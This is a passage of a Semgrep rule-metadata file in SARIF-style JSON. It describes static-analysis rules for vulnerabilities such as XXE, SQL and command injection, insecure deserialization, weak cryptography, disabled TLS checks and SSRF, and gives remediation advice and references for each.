[https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","id":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","name":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password","id":"python.requests.python-requests-empty-password.python-requests-empty-password","name":"python.requests.python-requests-empty-password.python-requests-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-empty-password.python-requests-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","id":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","name":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","id":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","name":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.php.net/password_hash](https://www.php.net/password_hash)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password","id":"php.lang.security.md5-used-as-password.md5-used-as-password","name":"php.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"help":{"markdown":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n","text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","id":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","name":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf](https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-](https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","id":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","name":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection","id":"java.spring.security.audit.spel-injection.spel-injection","name":"java.spring.security.audit.spel-injection.spel-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spel-injection.spel-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","id":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","name":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","id":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","name":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint","id":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","name":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"help":{"markdown":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 